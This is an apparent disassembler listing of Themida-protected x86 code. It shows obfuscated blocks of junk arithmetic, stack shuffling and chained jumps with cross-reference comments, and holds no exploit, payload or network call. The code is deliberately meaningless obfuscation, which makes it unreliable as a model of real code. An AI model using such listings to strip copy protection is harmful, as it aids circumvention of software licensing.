Themida_:0059D9E8j mov ecx, 1D782AA1h xor edi, ecx pop ecx push edi pop ebp jmp loc_59746D ; --------------------------------------------------------------------------- loc_5A1C24: ; CODE XREF: Themida_:005907CDj mov edi, esp add edi, 4 sub esp, 4 mov [esp], ecx push ebx mov ebx, 3B2E3C40h sub ebx, 3B2E3C3Ch mov ecx, ebx pop ebx jmp loc_5904D6 ; --------------------------------------------------------------------------- loc_5A1C46: ; CODE XREF: Themida_:005A33CAj mov eax, [esp] add esp, 4 push 1B6h jmp loc_5A0831 ; --------------------------------------------------------------------------- loc_5A1C56: ; CODE XREF: Themida_:0059DCD9j push 2A6Eh mov [esp], edx mov edx, 408AA941h push 3F2h mov [esp], ebp sub esp, 4 mov [esp], esi mov esi, 13971E53h jmp loc_595E94 ; --------------------------------------------------------------------------- loc_5A1C7E: ; CODE XREF: Themida_:0059568Bj push ebp jmp loc_592A5C ; --------------------------------------------------------------------------- loc_5A1C84: ; CODE XREF: Themida_:0059F310j sub eax, 4C334E16h mov ebx, [esp] push 49C7h mov [esp], edi mov edi, esp push ebp mov ebp, 4 sub edi, 5CB76057h add edi, ebp push edx push ecx mov ecx, 77B426B7h jmp loc_5A1093 ; --------------------------------------------------------------------------- loc_5A1CB0: ; CODE XREF: Themida_:005A1DF8j mov esi, 68CD6F98h mov edx, 0E197B628h add edx, esi jmp loc_5A41B4 ; --------------------------------------------------------------------------- loc_5A1CC1: ; CODE XREF: Themida_:00594351j xor ebp, ebx mov ebx, [esp] jmp loc_59F0A2 ; --------------------------------------------------------------------------- loc_5A1CCB: ; CODE XREF: Themida_:005A4D70j add esp, 4 add edi, 4 push edi jmp loc_595ABF ; --------------------------------------------------------------------------- loc_5A1CDD: ; CODE XREF: Themida_:005A197Bj add esp, 4 push 1448h mov [esp], edx push dword ptr [esp+4] pop edx pop dword ptr [esp] pop esp mov [esp], esi push esp jmp loc_59823D ; --------------------------------------------------------------------------- loc_5A1CFA: ; CODE XREF: Themida_:005A3BA2j mov edi, 2 jmp loc_59DA36 ; --------------------------------------------------------------------------- loc_5A1D04: ; CODE XREF: Themida_:005984C8j add esp, 4 xchg ebx, [esp] pop esp xchg esi, [esp] jmp loc_59ABB3 ; --------------------------------------------------------------------------- loc_5A1D16: ; CODE XREF: Themida_:005976E2j mov edx, 37572C89h neg edx push eax jmp loc_59F322 ; --------------------------------------------------------------------------- loc_5A1D23: ; CODE XREF: Themida_:00590AC5j pop esp push esp jmp loc_59807E ; --------------------------------------------------------------------------- loc_5A1D2A: ; CODE XREF: Themida_:005953BDj xor [esp], edi xor edi, [esp] mov esp, [esp] push 870h mov [esp], esi push 1 mov esi, [esp] add esp, 4 push ecx push esp jmp loc_596CCE ; --------------------------------------------------------------------------- loc_5A1D50: ; CODE XREF: Themida_:00593E38j shl ecx, 3 sub ecx, 4123306Ah shl ecx, 4 sub ecx, 57374762h add ebx, ecx pop ecx add ebx, 2A5C4483h sub ebx, 3376542h push 18C8h mov [esp], eax mov eax, 527F71C8h inc eax shr eax, 5 xor eax, 492D7BBEh or eax, 5F6D7854h sub esp, 4 mov [esp], ebx mov ebx, 3673B3AAh sub eax, ebx pop ebx add ebx, eax jmp loc_59BCD0 ; --------------------------------------------------------------------------- loc_5A1DA1: ; CODE XREF: Themida_:00593FDEj mov ebp, [esp] jmp loc_595E9F ; --------------------------------------------------------------------------- loc_5A1DA9: ; CODE XREF: Themida_:005A4208j sub ch, ah sub ch, 90h pop ax jmp loc_599E07 ; --------------------------------------------------------------------------- loc_5A1DB5: ; CODE XREF: Themida_:00598C19j mov ebx, 49F05B8Fh dec ebx jmp loc_5A4B42 ; --------------------------------------------------------------------------- loc_5A1DC0: ; CODE XREF: Themida_:0059E59Dj pop eax jmp loc_59C79B ; --------------------------------------------------------------------------- loc_5A1DC6: ; CODE XREF: Themida_:005A4DF9j add eax, 4 add eax, 4 xchg eax, [esp] jmp loc_595D99 ; --------------------------------------------------------------------------- loc_5A1DD8: ; CODE XREF: Themida_:0059EC8Bj mov edx, [esp] add esp, 4 push ebp mov ebp, 47D07165h xor ebp, 666D30E9h shl ebp, 2 not ebp jmp loc_59D81A ; --------------------------------------------------------------------------- loc_5A1DF7: ; CODE XREF: Themida_:005A2C6Aj push esi jmp loc_5A1CB0 ; --------------------------------------------------------------------------- mov cx, [esp] jmp loc_59C53D ; --------------------------------------------------------------------------- loc_5A1E06: ; CODE XREF: Themida_:00598E4Bj pop ecx jmp loc_59F4F8 ; --------------------------------------------------------------------------- loc_5A1E0C: ; CODE XREF: Themida_:0059D8B4j push ecx mov ecx, 1C007D48h mov ebx, ecx pop ecx sub esp, 4 mov [esp], ebp jmp loc_59F409 ; --------------------------------------------------------------------------- loc_5A1E23: ; CODE XREF: Themida_:0059C82Aj sub esp, 2 mov [esp], dx jmp loc_59E8CE ; --------------------------------------------------------------------------- loc_5A1E2F: ; CODE XREF: Themida_:00596341j mov [esp], ecx mov ecx, 1A7B2FFBh jmp loc_59488E ; --------------------------------------------------------------------------- loc_5A1E3C: ; CODE XREF: Themida_:00593E5Fj xor ebx, edx mov edx, [esp] add esp, 4 xor ebx, 536F2F9Ah sub esi, 54573637h jmp loc_59F267 ; --------------------------------------------------------------------------- loc_5A1E55: ; CODE XREF: Themida_:00591D39j mov edi, [esp] add esp, 4 add edi, 32A716E8h xchg edx, edi not edx jmp loc_5A24AE ; --------------------------------------------------------------------------- loc_5A1E6D: ; CODE XREF: Themida_:005A2944j mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], ecx jmp loc_59B3C8 ; --------------------------------------------------------------------------- loc_5A1E84: ; CODE XREF: Themida_:005A3E02j xor [esp], ax pushf jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_5A1E8E: ; CODE XREF: Themida_:00599E22j pop ecx sub esp, 4 jmp loc_5951E8 ; --------------------------------------------------------------------------- loc_5A1E9A: ; CODE XREF: Themida_:00595569j xchg edi, [esp] jmp loc_5A4072 ; --------------------------------------------------------------------------- loc_5A1EA2: ; CODE XREF: Themida_:0059E915j push edi mov edi, 34F43BC8h shl edi, 2 inc edi push ebx jmp loc_59B33F ; --------------------------------------------------------------------------- loc_5A1EB2: ; CODE XREF: Themida_:0059E2F3j push 906h jmp loc_59F315 ; --------------------------------------------------------------------------- loc_5A1EBC: ; CODE XREF: Themida_:0059AA8Ej push eax jmp loc_592122 ; --------------------------------------------------------------------------- loc_5A1EC2: ; CODE XREF: Themida_:005A3EDCj push ebx mov bh, 0D2h sub ch, bh pop ebx sub al, ch jmp loc_59B712 ; --------------------------------------------------------------------------- loc_5A1ECF: ; CODE XREF: Themida_:0059DA31j mov ebp, 1 add ecx, ebp pop ebp dec ecx push eax push 309E1FF6h pop eax or eax, 7B452FCBh add eax, 77A23B60h sub eax, 0A2FFC41Ah xor ecx, eax pop eax jmp loc_591048 ; --------------------------------------------------------------------------- loc_5A1EF6: ; CODE XREF: Themida_:005A12FEj pop esi xchg edi, [esp] pop esp jmp loc_5938B5 ; --------------------------------------------------------------------------- loc_5A1F00: ; CODE XREF: Themida_:005A38EBj mov ebx, 2 sub esi, 638A21B9h sub esi, 57990CDDh add esi, ebx add esi, 57990CDDh add esi, 638A21B9h push dword ptr [esp] pop ebx push esi mov esi, esp jmp loc_59D394 ; --------------------------------------------------------------------------- loc_5A1F2B: ; CODE XREF: Themida_:00599B93j mov ecx, eax jmp loc_598BDF ; --------------------------------------------------------------------------- loc_5A1F32: ; CODE XREF: Themida_:005A204Cj add ebp, 28385866h add ebp, edx jmp loc_599F35 ; --------------------------------------------------------------------------- loc_5A1F3F: ; CODE XREF: Themida_:005997B4j mov ebp, [esp] jmp loc_596AF8 ; --------------------------------------------------------------------------- loc_5A1F47: ; CODE XREF: Themida_:0059FD8Fj push eax mov eax, esp add eax, 4 push ebp mov ebp, 4 add eax, ebp pop ebp xor eax, [esp] xor [esp], eax jmp loc_59829A ; --------------------------------------------------------------------------- loc_5A1F63: ; CODE XREF: Themida_:005A4B70j mov bl, 0EEh mov al, 1Eh sub al, bl mov ebx, [esp] add esp, 4 neg al not al dec al xor al, 9Dh add al, 85h add dl, al pop eax push 19D1h mov [esp], eax mov ah, 48h shl ah, 2 add ah, 0FEh xchg cl, ah jmp loc_59C3A6 ; --------------------------------------------------------------------------- loc_5A1F96: ; CODE XREF: Themida_:0059A76Bj add dword ptr [esp], 4 mov ecx, [esp] push eax mov eax, esp add eax, 4 jmp loc_5972E4 ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_59C84E ; --------------------------------------------------------------------------- loc_5A1FB3: ; CODE XREF: Themida_:005A2891j pop esp push small 6C39h jmp loc_5A2A77 ; --------------------------------------------------------------------------- loc_5A1FBD: ; CODE XREF: Themida_:0059127Dj add ebp, 4 xchg ebp, [esp] pop esp sub esp, 4 mov [esp], ecx mov ecx, 4079007Bh jmp loc_59F8CA ; --------------------------------------------------------------------------- loc_5A1FD7: ; CODE XREF: Themida_:0059FF14j pop eax jmp loc_591BCD ; --------------------------------------------------------------------------- loc_5A1FDD: ; CODE XREF: Themida_:00594835j add esp, 4 add esp, 4 add ebx, esi pop esi jmp loc_59D56C ; --------------------------------------------------------------------------- loc_5A1FEE: ; CODE XREF: Themida_:00592BC3j mov ebp, [esp] jmp loc_59DF2E ; --------------------------------------------------------------------------- loc_5A1FF6: ; CODE XREF: Themida_:005A287Aj mov esi, [esp] push edx push esp pop edx add edx, 4 add edx, 4 jmp loc_59B32B ; --------------------------------------------------------------------------- loc_5A200A: ; CODE XREF: Themida_:0059E333j pop dword ptr [esp] mov esp, [esp] sub esp, 4 jmp loc_5A03E3 ; --------------------------------------------------------------------------- loc_5A201B: ; CODE XREF: Themida_:00597C3Cj mov ebx, 6E8D7E72h sub ebx, ebp jmp loc_5951F0 ; --------------------------------------------------------------------------- loc_5A2027: ; CODE XREF: Themida_:00592997j neg edx shl edx, 2 xor edx, 50DC38C4h add edx, 0FE78DFF1h jmp loc_5991A5 ; --------------------------------------------------------------------------- loc_5A203D: ; CODE XREF: Themida_:00595C7Fj pop dword ptr [esp] jmp loc_5943C0 ; --------------------------------------------------------------------------- loc_5A2045: ; CODE XREF: Themida_:0059AAB0j pop esi jmp loc_59A54A ; --------------------------------------------------------------------------- loc_5A204B: ; CODE XREF: Themida_:005A515Aj pop edi jmp loc_5A1F32 ; --------------------------------------------------------------------------- loc_5A2051: ; CODE XREF: Themida_:0059E1A7j xor dword ptr [esp], 4FCF5DD2h pop ebp jmp loc_59D424 ; --------------------------------------------------------------------------- loc_5A205E: ; CODE XREF: Themida_:005A3B26j push ecx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ecx jmp loc_59813D ; --------------------------------------------------------------------------- loc_5A206F: ; CODE XREF: Themida_:005990C4j add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], edx push 57F4h jmp loc_5A2FEF ; --------------------------------------------------------------------------- loc_5A2089: ; CODE XREF: Themida_:00596616j add esp, 4 mov eax, [esp] jmp loc_5925B0 ; --------------------------------------------------------------------------- loc_5A2097: ; CODE XREF: Themida_:00598A74j test ecx, eax pushf jmp loc_5A0265 ; --------------------------------------------------------------------------- loc_5A209F: ; CODE XREF: Themida_:00598738j pop esp mov [esp], esi mov esi, 1617E4h sub edi, 0BC6779Bh add edi, esi add edi, 0BC6779Bh mov esi, [esp] add esp, 4 add edi, 1C224536h jmp loc_59A411 ; --------------------------------------------------------------------------- loc_5A20CA: ; CODE XREF: Themida_:005A0BCEj mov esi, 1F5162B1h add ebx, esi mov esi, [esp] jmp loc_59E86F ; --------------------------------------------------------------------------- loc_5A20D9: ; CODE XREF: Themida_:005A15EBj dec esi push esi jmp loc_598545 ; --------------------------------------------------------------------------- loc_5A20E0: ; CODE XREF: Themida_:00591012j push dword ptr [esp+4] mov eax, [esp] add esp, 4 pop dword ptr [esp] pop esp jmp loc_5A29BE ; --------------------------------------------------------------------------- loc_5A20F6: ; CODE XREF: Themida_:005990D3j mov ah, 5Ch shr ah, 7 not ah neg ah sub ah, 0B5h mov cl, ah pop eax mov dl, cl pop ecx shr dl, 1 xor dl, 4Bh add al, 0CAh add al, dl jmp loc_59CF77 ; --------------------------------------------------------------------------- loc_5A2116: ; CODE XREF: Themida_:0059D7C3j mov al, ch push dword ptr [esp] pop ecx add esp, 4 push ebx push ecx jmp loc_59A464 ; --------------------------------------------------------------------------- loc_5A2129: ; CODE XREF: Themida_:0059BB1Bj sub dh, 0DCh inc dh inc dh shl dh, 7 add dh, 99h jmp loc_59996C ; --------------------------------------------------------------------------- loc_5A213B: ; CODE XREF: Themida_:005943F4j push ebp mov ebp, 1E0A27A8h shl ebp, 7 not ebp jmp loc_5961BE ; --------------------------------------------------------------------------- loc_5A214B: ; CODE XREF: Themida_:005A3A25j pop eax jmp loc_594418 ; --------------------------------------------------------------------------- loc_5A2151: ; CODE XREF: Themida_:005A4702j not edi add edi, 2A4D5048h add ebx, edi pop edi push edx mov edx, 4 add ebx, edx pop edx xchg ebx, [esp] pop esp push ebp sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ebp push ebp push esp pop ebp jmp loc_5916A9 ; --------------------------------------------------------------------------- loc_5A217D: ; CODE XREF: Themida_:0059032Fj push dword ptr [esp] jmp loc_5974D3 ; --------------------------------------------------------------------------- loc_5A2185: ; CODE XREF: Themida_:005951C6j mov eax, 712E7174h add eax, 6EA219ADh add eax, 4228967Ch add ebp, eax jmp loc_59AF75 ; --------------------------------------------------------------------------- mov cx, [esp] push 326Ch mov [esp], ebx jmp loc_593E64 ; --------------------------------------------------------------------------- loc_5A21AC: ; CODE XREF: Themida_:005930EDj push ebp mov ebp, 65980980h jmp loc_5923FE ; --------------------------------------------------------------------------- loc_5A21B7: ; CODE XREF: Themida_:00593A80j pop ecx jmp loc_5A4790 ; --------------------------------------------------------------------------- loc_5A21BD: ; CODE XREF: Themida_:0059F947j pop eax xor ecx, [esp] jmp loc_59D533 ; --------------------------------------------------------------------------- loc_5A21C6: ; CODE XREF: Themida_:0059DB34j mov ecx, [esp] jmp loc_59DE57 ; --------------------------------------------------------------------------- loc_5A21CE: ; CODE XREF: Themida_:00598C10j sub esp, 4 jmp loc_591D02 ; --------------------------------------------------------------------------- loc_5A21D9: ; CODE XREF: Themida_:00595B7Bj add edi, eax sub edi, 252F0750h jmp loc_5A1350 ; --------------------------------------------------------------------------- loc_5A21E6: ; CODE XREF: Themida_:005A24A9j push ecx push edi jmp loc_59FF8E ; --------------------------------------------------------------------------- loc_5A21ED: ; CODE XREF: Themida_:00598243j add esp, 4 jmp loc_5946A6 ; --------------------------------------------------------------------------- loc_5A21F5: ; CODE XREF: Themida_:0059A35Fj mov esi, 4 add edi, esi pop esi add edi, 4 sub esp, 4 mov [esp], edi push dword ptr [esp+4] pop edi pop dword ptr [esp] pop esp push edx push esp jmp loc_5A2821 ; --------------------------------------------------------------------------- loc_5A2219: ; CODE XREF: Themida_:005967D1j push ecx mov ecx, esp add ecx, 4 jmp loc_59F5AE ; --------------------------------------------------------------------------- loc_5A2227: ; CODE XREF: Themida_:005974CEj sub eax, 0C00A9583h jmp loc_59A6CC ; --------------------------------------------------------------------------- loc_5A2231: ; CODE XREF: Themida_:00596157j sub esi, eax pop eax jmp loc_598E50 ; --------------------------------------------------------------------------- loc_5A2239: ; CODE XREF: Themida_:0059AFAFj pop esi xchg eax, [esp] pop esp sub esp, 4 mov [esp], ebx jmp loc_591F3E ; --------------------------------------------------------------------------- loc_5A224C: ; CODE XREF: Themida_:00595955j pop ebp jmp loc_5A088C ; --------------------------------------------------------------------------- loc_5A2252: ; CODE XREF: Themida_:0059CBD8j mov eax, 4 add ecx, eax jmp loc_5A5112 ; --------------------------------------------------------------------------- loc_5A225E: ; CODE XREF: Themida_:0059B8ABj add ebp, 4 jmp loc_5A0ACB ; --------------------------------------------------------------------------- loc_5A2269: ; CODE XREF: Themida_:005970B8j add esi, edi pop edi sub eax, esi jmp loc_595EFE ; --------------------------------------------------------------------------- loc_5A2273: ; CODE XREF: Themida_:005A3BC4j push ebp push esp jmp loc_5A24DB ; --------------------------------------------------------------------------- loc_5A227A: ; CODE XREF: Themida_:005A1117j add ebx, 44241984h mov edx, [esp] add esp, 4 pop dword ptr [eax] jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_5A2290: ; CODE XREF: Themida_:0059C7D2j add eax, 4 jmp loc_59C101 ; --------------------------------------------------------------------------- loc_5A229A: ; CODE XREF: Themida_:005A120Dj dec edi push edi jmp loc_5956CB ; --------------------------------------------------------------------------- loc_5A22A1: ; CODE XREF: Themida_:00595424j xor ebp, 7FAF6362h push ebp sub dword ptr [esp], 0D1B20E1h pop ebx add ebx, 0D1B20E1h pop ebp push 0 sub [esp], ebx pop ebx not ebx add ebx, 0E072D115h or edx, ebx pop ebx jmp loc_5A0A41 ; --------------------------------------------------------------------------- loc_5A22D0: ; CODE XREF: Themida_:0059C4CDj xor [esp], edx xor edx, [esp] mov esp, [esp] shl dword ptr [esp], cl pushf jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_5A22E2: ; CODE XREF: Themida_:0059C373j xor edi, 29264B7Eh add edi, 0F5EC9FF6h mov edx, edi jmp loc_599A39 ; --------------------------------------------------------------------------- loc_5A22F5: ; CODE XREF: Themida_:00594881j add esp, 4 add esp, 4 jmp loc_595469 ; --------------------------------------------------------------------------- loc_5A2300: ; CODE XREF: Themida_:005961B9j push esp pop eax add eax, 4 push ecx mov ecx, 4AD5CD3h or ecx, 42D69B7h sub ecx, 52732351h jmp loc_5A26A1 ; --------------------------------------------------------------------------- loc_5A231E: ; CODE XREF: Themida_:0059AC99j add esp, 4 push edi mov edi, 31E2359Ah jmp loc_59504F ; --------------------------------------------------------------------------- loc_5A232C: ; CODE XREF: Themida_:0059D903j push esp pop esi add esi, 4 jmp loc_5A27E2 ; --------------------------------------------------------------------------- loc_5A2339: ; CODE XREF: Themida_:00590EBFj add ebx, edx add ebx, 2191109Dh push ecx push 0 pop ecx add ecx, 7C8807CEh sub ecx, 1016653Bh add ecx, ebx jmp loc_5A5710 ; --------------------------------------------------------------------------- loc_5A235B: ; CODE XREF: Themida_:00592F66j sub esp, 4 jmp loc_590E7A ; --------------------------------------------------------------------------- loc_5A2366: ; CODE XREF: Themida_:0059ED08j push ebp mov ebp, 8D31410h inc ebp add ebp, 0F7523D4h jmp loc_5A3E54 ; --------------------------------------------------------------------------- loc_5A2378: ; CODE XREF: Themida_:0059E3D8j pop edi pop dword ptr [esp] pop esp mov [esp], edi jmp loc_5A2A6D ; --------------------------------------------------------------------------- loc_5A2385: ; CODE XREF: Themida_:0059F15Dj mov edx, 17E45C19h or ecx, edx pop edx add ecx, 64FC120Ah jmp loc_594356 ; --------------------------------------------------------------------------- loc_5A2398: ; CODE XREF: Themida_:005969E5j mov bp, [esp] add esp, 2 jmp loc_5993E5 ; --------------------------------------------------------------------------- loc_5A23A7: ; CODE XREF: Themida_:005A3482j mov edi, 73C736EAh shl edi, 1 shr edi, 1 sub edi, 0F4B3168Bh jmp loc_59B65D ; --------------------------------------------------------------------------- loc_5A23BB: ; CODE XREF: Themida_:00594DADj mov edi, 41A445ABh not edi jmp loc_592384 ; --------------------------------------------------------------------------- loc_5A23C7: ; CODE XREF: Themida_:0059A7A9j push 16EAh jmp loc_5964A8 ; --------------------------------------------------------------------------- loc_5A23D1: ; CODE XREF: Themida_:0059E8FCj mov ebx, 42111BE7h xor ebx, ebp pop ebp add edi, 748B3BD2h jmp loc_5A0BAA ; --------------------------------------------------------------------------- loc_5A23E4: ; CODE XREF: Themida_:0059E51Fj xor esi, [esp] jmp loc_59FDB2 ; --------------------------------------------------------------------------- loc_5A23EC: ; CODE XREF: Themida_:005A385Ej sub cl, 0F7h jmp loc_592832 ; --------------------------------------------------------------------------- loc_5A23F4: ; CODE XREF: Themida_:00598D31j xchg edi, [esp] pop esp mov ecx, [esp] push esi push esp pop esi add esi, 4 push ebx mov ebx, 4 add esi, ebx jmp loc_59442E ; --------------------------------------------------------------------------- loc_5A2411: ; CODE XREF: Themida_:0059EEECj push edx jmp loc_599D67 ; --------------------------------------------------------------------------- loc_5A2417: ; CODE XREF: Themida_:0059BD0Fj add [esp+4], edi pop edi pop ebp push 5A97h mov [esp], ecx mov ecx, 39645E8h and ecx, 62A2050Eh xor ecx, 32100D3Eh sub ecx, 0FFFFFFFFh add ecx, 0CF6DF7CDh jmp loc_59A553 ; --------------------------------------------------------------------------- loc_5A2444: ; CODE XREF: Themida_:005929AFj sub ebx, 0ADC4EA2h add eax, ebx pop ebx jmp loc_5983BD ; --------------------------------------------------------------------------- loc_5A2452: ; CODE XREF: Themida_:005903C0j push edi push edx mov edx, 763C17F8h shr edx, 8 sub edx, 6FF76D71h shl edx, 8 neg edx push 3B2Eh mov [esp], ecx mov ecx, 4E286941h add ecx, 2A2D64A3h add ecx, 6C437C6Dh inc ecx dec ecx jmp loc_59E2AB ; --------------------------------------------------------------------------- loc_5A2487: ; CODE XREF: Themida_:00593280j pop eax xor eax, 0FFB442Ch jmp loc_59DCAC ; --------------------------------------------------------------------------- loc_5A2492: ; CODE XREF: Themida_:005945E7j add edx, eax sub edx, 1E6E5BD0h pop eax jmp loc_5915F0 ; --------------------------------------------------------------------------- loc_5A24A0: ; CODE XREF: Themida_:0059EAE0j add edi, 344BFCB2h add eax, edi pop edi jmp loc_5A21E6 ; --------------------------------------------------------------------------- loc_5A24AE: ; CODE XREF: Themida_:005A1E68j xchg edx, edi jmp loc_59182F ; --------------------------------------------------------------------------- loc_5A24B5: ; CODE XREF: Themida_:00595818j mov ecx, [esp] jmp loc_5937B0 ; --------------------------------------------------------------------------- loc_5A24BD: ; CODE XREF: Themida_:0059AD12j shr edx, 5 add edx, 2E25BF83h xor ecx, edx pop edx and ecx, 57A1130Eh add ecx, 1DB6217Eh push ecx jmp loc_5A0D42 ; --------------------------------------------------------------------------- loc_5A24DB: ; CODE XREF: Themida_:005A2275j pop ebp push edi mov edi, 4 add ebp, edi mov edi, [esp] jmp loc_5936B1 ; --------------------------------------------------------------------------- loc_5A24EC: ; CODE XREF: Themida_:00599C13j pop ebp jmp loc_59E497 ; --------------------------------------------------------------------------- loc_5A24F2: ; CODE XREF: Themida_:005939A0j add ebx, 1F2D4740h push dword ptr [esp] pop eax add esp, 4 push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] mov esp, [esp] mov ax, [esp] sub esp, 4 mov [esp], esi mov esi, esp push ebx push 75CE2DF6h pop ebx push edx push esi push 58C4D38h pop esi dec esi add esi, 6B09B573h mov edx, esi pop esi shr edx, 6 inc edx sub edx, 8BF42A19h sub ebx, edx pop edx jmp loc_598AE8 ; --------------------------------------------------------------------------- loc_5A2548: ; CODE XREF: Themida_:005A514Dj mov ebx, [esp] jmp loc_5A49D5 ; --------------------------------------------------------------------------- loc_5A2550: ; CODE XREF: Themida_:005981EAj push esi push esp mov esi, [esp] add esp, 4 jmp loc_598132 ; --------------------------------------------------------------------------- loc_5A255D: ; CODE XREF: Themida_:005965F7j add edx, ebx mov ebx, [esp] jmp loc_59873D ; --------------------------------------------------------------------------- loc_5A2567: ; CODE XREF: Themida_:00599E02j sub eax, 4 xchg eax, [esp] jmp loc_592E7C ; --------------------------------------------------------------------------- loc_5A2572: ; CODE XREF: Themida_:00591710j mov esi, 75FD5522h add esi, 0FFFFFFFFh shl esi, 7 shl esi, 3 push 1CDFh mov [esp], edi jmp loc_59A331 ; --------------------------------------------------------------------------- loc_5A258D: ; CODE XREF: Themida_:00598C7Aj mov [esp], edi push dword ptr [esp+4] mov edi, [esp] add esp, 4 pop dword ptr [esp] pop esp jmp loc_5933CC ; --------------------------------------------------------------------------- loc_5A25A6: ; CODE XREF: Themida_:005A27EDj pop esi pop dword ptr [esp] jmp loc_5A1B6F ; --------------------------------------------------------------------------- loc_5A25AF: ; CODE XREF: Themida_:005A3BB6j mov ebp, 4 jmp loc_5A374B ; --------------------------------------------------------------------------- loc_5A25B9: ; CODE XREF: Themida_:00596695j and esi, 3038128Ah sub esi, 0E35C1496h sub ebx, esi mov esi, [esp] add esp, 4 push 16C1h mov [esp], ebx sub dword ptr [esp], 785329A7h pop ebp add ebp, 785329A7h pop ebx jmp loc_598A9F ; --------------------------------------------------------------------------- loc_5A25E9: ; CODE XREF: Themida_:005947D3j push 1EA064BCh pop ebp jmp loc_59A27F ; --------------------------------------------------------------------------- loc_5A25F4: ; CODE XREF: Themida_:00593C1Dj pop eax push 207Bh mov [esp], edx jmp loc_5A3342 ; --------------------------------------------------------------------------- loc_5A2602: ; CODE XREF: Themida_:005997ACj sub edx, 50A223DDh sub edx, 7A413F3Ah jmp loc_590B34 ; --------------------------------------------------------------------------- loc_5A2613: ; CODE XREF: Themida_:00598FE7j add esp, 4 jmp loc_5A26BE ; --------------------------------------------------------------------------- loc_5A261E: ; CODE XREF: Themida_:005A1AEEj push 1465h mov [esp], eax jmp loc_59FF7E ; --------------------------------------------------------------------------- loc_5A262B: ; CODE XREF: Themida_:0059BE98j mov [esp], ebx sub esp, 4 mov [esp], esp push eax jmp loc_59F457 ; --------------------------------------------------------------------------- loc_5A263D: ; CODE XREF: Themida_:0059F233j pop esi sub eax, ebx push 794h mov [esp], esi mov esi, 28B05E89h push ebx mov ebx, 6FD91A98h add eax, ebx pop ebx add eax, 266276E3h add eax, esi sub eax, 266276E3h sub esp, 4 mov [esp], edx mov edx, 5FA916B8h not edx xor edx, 1C2810B0h sub edx, 0AB620C6h inc edx push ecx mov ecx, 41EFBE9Ah jmp loc_59C901 ; --------------------------------------------------------------------------- loc_5A2687: ; CODE XREF: Themida_:0059F52Ej pop edi sub esp, 4 mov [esp], ebx jmp loc_5A30D6 ; --------------------------------------------------------------------------- loc_5A2696: ; CODE XREF: Themida_:00591C36j push ebp push 5B4Bh jmp loc_59E824 ; --------------------------------------------------------------------------- loc_5A26A1: ; CODE XREF: Themida_:005A2319j and ecx, 3DCA0A28h jmp loc_5A5258 ; --------------------------------------------------------------------------- loc_5A26AC: ; CODE XREF: Themida_:0059BA04j pop ebx shr esi, 2 dec esi xor esi, 688BC4BEh add edi, esi jmp loc_59862B ; --------------------------------------------------------------------------- loc_5A26BE: ; CODE XREF: Themida_:005A2619j push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp push 0A3Ch jmp loc_59DA2E ; --------------------------------------------------------------------------- loc_5A26D8: ; CODE XREF: Themida_:0059B7B1j mov edi, 7AC856CEh and ebx, edi jmp loc_59FB12 ; --------------------------------------------------------------------------- loc_5A26E4: ; CODE XREF: Themida_:00590CE4j mov ebp, esp add ebp, 4 sub ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp jmp loc_59DB4B ; --------------------------------------------------------------------------- loc_5A26FE: ; CODE XREF: Themida_:005A2EB7j mov [esp], edx mov edx, 4 add dword ptr [esp+4], 50C7BDCh add [esp+4], edx push ebx mov ebx, 50C7BDCh jmp loc_5A5505 ; --------------------------------------------------------------------------- loc_5A271D: ; CODE XREF: Themida_:00598EDEj xor [esp], ebp xor ebp, [esp] mov esp, [esp] mov [esp], edx push ecx jmp loc_59956E ; --------------------------------------------------------------------------- loc_5A272F: ; CODE XREF: Themida_:00598FF4j sub esp, 4 mov [esp], ebp push ebp mov ebp, 7D9755BBh add [esp+4], ebp pop ebp pop ecx jmp loc_5A032C ; --------------------------------------------------------------------------- lodsb jmp loc_5924F1 ; --------------------------------------------------------------------------- loc_5A274C: ; CODE XREF: Themida_:0059FBBAj push eax pushf jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_5A2753: ; CODE XREF: Themida_:00590E87j mov ebx, [esp] jmp loc_59D5BF ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcl word ptr [esp], cl pushf jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_5A276B: ; CODE XREF: Themida_:00596A8Cj pop ebx jmp loc_59877B ; --------------------------------------------------------------------------- loc_5A2771: ; CODE XREF: Themida_:005A4893j push ecx mov ecx, 5B23160Bh jmp loc_595126 ; --------------------------------------------------------------------------- loc_5A277C: ; CODE XREF: Themida_:005A5500j push ebx mov ebx, 6DF06288h mov edx, ebx pop ebx push eax jmp loc_59FD82 ; --------------------------------------------------------------------------- loc_5A278B: ; CODE XREF: Themida_:0059CE03j push ax jmp loc_59150B ; --------------------------------------------------------------------------- push dword ptr [esp] pop ecx jmp loc_591584 ; --------------------------------------------------------------------------- loc_5A279B: ; CODE XREF: Themida_:00592871j mov esi, [esp] add esp, 4 push ebp mov ebp, 47BB6449h jmp loc_596503 ; --------------------------------------------------------------------------- loc_5A27AF: ; CODE XREF: Themida_:005A3DB5j push ebp push 50073E4Fh jmp loc_597FB2 ; --------------------------------------------------------------------------- loc_5A27BA: ; CODE XREF: Themida_:00598593j push eax push bx mov bh, 0E1h mov al, bh pop bx dec al not al push ecx jmp loc_5961AD ; --------------------------------------------------------------------------- loc_5A27CD: ; CODE XREF: Themida_:0059FFBBj sub edx, ebp pop ebp shl edx, 7 dec edx jmp loc_598A29 ; --------------------------------------------------------------------------- loc_5A27D9: ; CODE XREF: Themida_:0059E86Aj xchg eax, [esp] pop esp jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_5A27E2: ; CODE XREF: Themida_:005A2334j add esi, 4 push esi push dword ptr [esp+4] jmp loc_5A25A6 ; --------------------------------------------------------------------------- loc_5A27F2: ; CODE XREF: Themida_:0059B65Ej mov ebp, 4F697D8Bh dec ebp jmp loc_592A35 ; --------------------------------------------------------------------------- loc_5A27FD: ; CODE XREF: Themida_:005A54D9j mov [esp], eax mov eax, 0C275CAAh xor eax, 3833064Ah not eax sub eax, 54443A5Bh sub ebx, eax pop eax 